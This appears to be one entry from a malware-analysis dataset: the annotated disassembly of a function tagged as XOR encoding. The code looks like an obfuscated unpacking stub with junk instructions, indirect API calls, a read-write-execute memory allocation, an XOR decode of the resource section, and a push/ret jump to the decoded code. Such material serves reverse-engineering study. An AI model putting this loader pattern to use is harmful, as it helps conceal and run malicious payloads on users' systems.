Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x1f9b4f3a
and esi, edx
not edx
inc edx
popal
or esi, esi
add esi, 1
inc edx
mov edx, 0
mov ebx, eax
add ecx, 0x7a9ca508
add esi, 1
mov ecx, 0xb802e753
mov edi, ebx
sub esi, ecx
dec esi
mov eax, edi
dec ecx
add esi, 0x104a1984
add edx, 1
not esi
dec esi
cmp edx, 0x100795f
jne 0xa789c6
dec esi
and esi, ecx
sub esi, 0x3340c30e
sub esi, 0x1bb63584
add esi, esi
sub esi, 0x1857642f
mov edx, 0xa78796
sub edi, 0x8c143edc
and edi, edi
mov ecx, 0xa7898a
or esi, ebx
sub ebx, esi
or edi, ebx
mov eax, dword [edx]
mov esi, edi
dec edi
not ebx
and eax, 0xff
inc ebx
not edi
mov esi, 0xea28bd2f
xor dword [ecx], eax
add esi, ebx
sub edi, 1
inc ecx
not esi
and ebx, edi
add ebx, 0x438637b1
inc edx
sub esi, 0x844391f
mov edi, ebx
sub edi, 0x943cdc19
cmp ecx, entry0
jl 0xa78a2b
sub esi, ebx
add esi, 0xdbffd971
not ebx
and esi, ebx
mov edi, esi
sub ebx, 0xb6b1962f
mov ecx, 0xa7898e
add edi, edi
mov edx, 0x4d5f1114
sub esi, ebx
mov ecx, dword [ecx]
sub esi, edi
mov edi, 0x9491e185
mov ecx, dword [ecx]
sub ebx, edx
dec edi
push ecx
sub edx, esi
not ebx
mov ecx, 0xa7898a
not ebx
mov ebx, 0xe972c320
mov ecx, dword [ecx]
and edx, edi
mov ebx, 0x6fe805b8
mov ecx, dword [ecx]
add esi, 0x6b35a09
dec edi
push 0xa78992
add ebx, 0xb363adba
or ebx, edx
sub edx, esi
call ecx
dec edx
inc edx
pop ecx
sub esi, edi
or ebx, ebx
or edx, edx
push 0xa7899f
and esi, esi
add esi, 0x31104a4d
mov edx, 0xf45e2daa
push eax
dec edi
dec esi
and edi, edx
call ecx
inc edx
sub edi, esi
sub ebx, 1
push 0x40
mov esi, edx
add esi, 0x5692e7aa
push 0x3000
and edi, edi
add ebx, edx
push 0x20000e34
mov ebx, edi
and esi, edx
push 0
sub edx, 0xd9c00a7c
mov edi, esi
call eax
sub esi, 0x4c94feec
dec ebx
add eax, 0x20000d74
mov edx, ebx
or edi, esi
add esi, edx
mov ecx, 0x6c30db61
mov esi, 0x54541cb8
sub edi, edx
or edx, edx
mov dword [eax], ecx
add edi, ebx
sub edx, 0xe2c5ec01
mov ecx, dword [eax]
sub edi, 0x43305ed1
and edi, edi
cmp ecx, 0x6c30db61
je 0xa78b71
mov eax, 0
mov ebx, dword [eax]
or esi, esi
mov esi, 0xb7432f19
sub edi, 1
dec edi
add esi, edx
dec esi
or edx, edx
mov eax, section..rsrc
mov esi, 0x4ede84d5
inc edx
mov edi, 0xa78795
sub edx, 0xa27e49f5
add esi, 0x34a56d3
mov ebx, 0
mov edx, esi
mov edx, 0xd2e12e5d
mov esi, 0x5c8475cd
mov ecx, 0xa78796
not esi
dec esi
lea ecx, [ebx + ecx]
sub esi, 1
or edx, esi
mov ecx, dword [ecx]
or esi, edx
mov edx, 0x228b47fe
and ecx, 0xff
inc esi
not edx
add ebx, 1
not edx
mov esi, edx
cmp ebx, 0x1f4
jne 0xa78bed
mov ebx, 0
mov edx, esi
mov edx, esi
not edx
sub edx, 0x808d6de4
add esi, 0x7c823b49
xor dword [eax], ecx
and edx, edx
sub edx, esi
add eax, 2
add esi, 0xc71d5835
sub esi, edx
sub esi, edx
cmp eax, edi
jl 0xa78bb1
mov esi, edx
and esi, edx
and edx, esi
mov edx, 0x6bd3ef11
sub edx, esi
sub edx, esi
mov eax, section..rsrc
add ebx, ebx
add ebx, 0xfc5f9eb2
mov edx, section..rsrc
mov ebx, esi
add esi, ebx
not ebx
mov edi, 0xa78795
dec esi
inc ebx
mov ecx, 0
inc ebx
dec esi
and esi, esi
mov cl, byte [edx]
sub ebx, 0x5eab2a15
mov ebx, 0xe4bffff6
add esi, ebx
mov byte [eax], cl
sub esi, ebx
mov ebx, 0xdf238c6
mov esi, 0x62aabc69
inc eax
sub esi, 0x6f8cc48f
mov ebx, 0xd3858098
add edx, 2
not ebx
mov esi, 0x37990cd9
cmp edx, edi
jle 0xa78c54
mov esi, ebx
or ebx, ebx
sub esi, 1
dec esi
and esi, esi
sub esp, 4
mov dword [esp], 0x8dc6a0
inc edx
or esi, edx
ret